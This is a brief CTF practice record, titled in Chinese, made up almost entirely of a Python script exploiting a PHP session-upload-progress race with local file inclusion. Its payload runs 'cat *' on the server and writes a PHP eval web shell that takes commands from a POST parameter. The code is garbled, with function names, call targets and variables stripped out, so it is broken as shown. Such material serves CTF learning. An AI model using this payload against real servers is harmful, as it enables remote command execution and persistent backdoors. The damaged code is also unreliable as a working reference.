ctfshow做题记录

import io
import sys
import requests
import threading

host = '/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = (b'a' * 1024 * 50)
        (
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = (f'{host}?file=/tmp/sess_{sessid}')
        # print()
        if 'c4ca4238a0b923820dcc509a6f75849b' not in :
        # if 'flag' not in :
            print('[+++]retry')
        else:
            print()
            (0)


with () as session:
    t1 = (target=POST, args=(session, ))
     = True
    ()
    READ(session)